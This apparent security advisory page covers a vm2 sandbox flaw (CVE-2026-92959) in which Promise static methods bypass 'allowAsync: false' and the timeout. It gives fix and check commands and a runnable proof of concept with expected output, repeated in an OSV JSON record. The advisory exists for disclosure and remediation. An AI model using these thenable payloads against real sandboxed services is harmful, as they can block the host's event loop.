CVE-2026-92959: vm2 `allowAsync: False` Can Be Bypassed Vulnerability

HIGH
Advisory Identifier: GHSA-f8gf-w286-fmq2
CVSS 7.1
CWE-693
Published
Advisory Summary

CVE-2026-92959 is a HIGH (CVSS 7.1) `allowasync: false` can be bypassed vulnerability (CWE-693: Protection Mechanism Failure) affecting vm2 libraries in the npm ecosystem. The issue involves `allowasync: false` can be bypassed through promise thenable assimilation in vm and nodevm. Remediation is available by upgrading affected packages to version 3.11.8.

CVE-2026-92959 at a Glance

CVE Identifier CVE-2026-92959
GHSA Identifier GHSA-f8gf-w286-fmq2
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-92959

To remediate this vulnerability, upgrade all affected vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.8
npm install vm2@3.11.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-92959, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.8), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned. This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete. ### Details The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled: - `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`. - `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false. However, Promise static methods are still exposed and rebound to `localPromise`: - `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`. - `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`. - `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`. - `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`. - `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`. Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached. `NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well. The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing. ### PoC Maintainer-runnable clean-checkout recipe: ```sh npm install node - <<'NODE' const {VM, NodeVM} = require('./'); async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } (async () => { await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`); await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`); await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`); await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`); await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`); await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`); await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`); await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`); const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(`timeout case returned: ${ret}`); console.log(`timeout case runReturnedInMs: ${afterRun - started}`); console.log(`timeout case events: ${timeoutEvents.length}`); console.log(`timeout case elapsedMs: ${Date.now() - started}`); })(); NODE ``` Expected vulnerable output pattern: ```text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35 ``` Observed local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser: ```json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", "<none>"] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } } ``` Observed `NodeVM` variant output: ```text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: <none> ``` ### Impact Applications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it. A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE. Negative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation. ### Suggested remediation When `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code. Add regression tests for `VM` and `NodeVM` that verify: - `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`. - `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements. - Direct `.then()` remains blocked. - A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation. ## Variant analysis summary Confirmed variants: - `VM({allowAsync:false}).run('Promise.resolve(thenable)')` - `VM({allowAsync:false}).run('Promise.all([thenable])')` - `VM({allowAsync:false}).run('Promise.race([thenable])')` - `VM({allowAsync:false}).run('Promise.any([thenable])')` - `VM({allowAsync:false}).run('Promise.allSettled([thenable])')` - `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')` Negative cases checked: - Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

CVE-2026-92959 Affected vm2 Versions

1 component(s)
Fixed Versions:
3.11.8
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.11.8
3.11.8

References

Frequently Asked Questions

What is CVE-2026-92959?
CVE-2026-92959 is a security vulnerability in vm2 involving `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM under CWE-693: Protection Mechanism Failure.
Which vm2 versions are affected?
Affected versions include releases prior to 3.11.8 across affected packages: vm2.
What version fixes CVE-2026-92959?
Upgrading to 3.11.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.8. Upgrade your dependency to 3.11.8 or later.
What is the CVSS score of CVE-2026-92959?
CVE-2026-92959 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H.
What CWE is associated with CVE-2026-92959?
CVE-2026-92959 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-92959?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f8gf-w286-fmq2",
  "modified" : "2026-10-05T22:47:34Z",
  "published" : "2026-10-05T22:47:34Z",
  "aliases" : [ "CVE-2026-92959" ],
  "summary" : "vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM",
  "details" : "### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - <<'NODE'\nconst {VM, NodeVM} = require('./');\n\nasync function runVmCase(name, code) {\n  const events = [];\n  const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\nasync function runNodeVmCase(name, code) {\n  const events = [];\n  const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\n(async () => {\n  await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);\n  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);\n  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);\n  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);\n  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);\n  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);\n\n  await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);\n  await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);\n\n  const timeoutEvents = [];\n  const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});\n  const started = Date.now();\n  const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);\n  const afterRun = Date.now();\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`timeout case returned: ${ret}`);\n  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n  console.log(`timeout case events: ${timeoutEvents.length}`);\n  console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: <none>\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: <none>\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n  \"results\": [\n    [\"Promise.resolve thenable\", \"run-returned\", 1],\n    [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n    [\"Promise.all thenable\", \"run-returned\", 1],\n    [\"Promise.all thenable events\", \"all-thenable\"],\n    [\"Promise.race thenable\", \"run-returned\", 1],\n    [\"Promise.race thenable events\", \"race-thenable\"],\n    [\"Promise.any thenable\", \"run-returned\", 1],\n    [\"Promise.any thenable events\", \"any-thenable\"],\n    [\"Promise.allSettled thenable\", \"run-returned\", 1],\n    [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n    [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n    [\"direct then control events\", \"<none>\"]\n  ],\n  \"timeoutCase\": {\n    \"ret\": 1,\n    \"runReturnedInMs\": 0,\n    \"events\": [1779866562491],\n    \"elapsedMs\": 35\n  }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: <none>\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`\n- `VM({allowAsync:false}).run('Promise.all([thenable])')`\n- `VM({allowAsync:false}).run('Promise.race([thenable])')`\n- `VM({allowAsync:false}).run('Promise.any([thenable])')`\n- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`\n- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.11.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92959"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T22:47:34Z",
    "nvd_published_at" : null
  }
}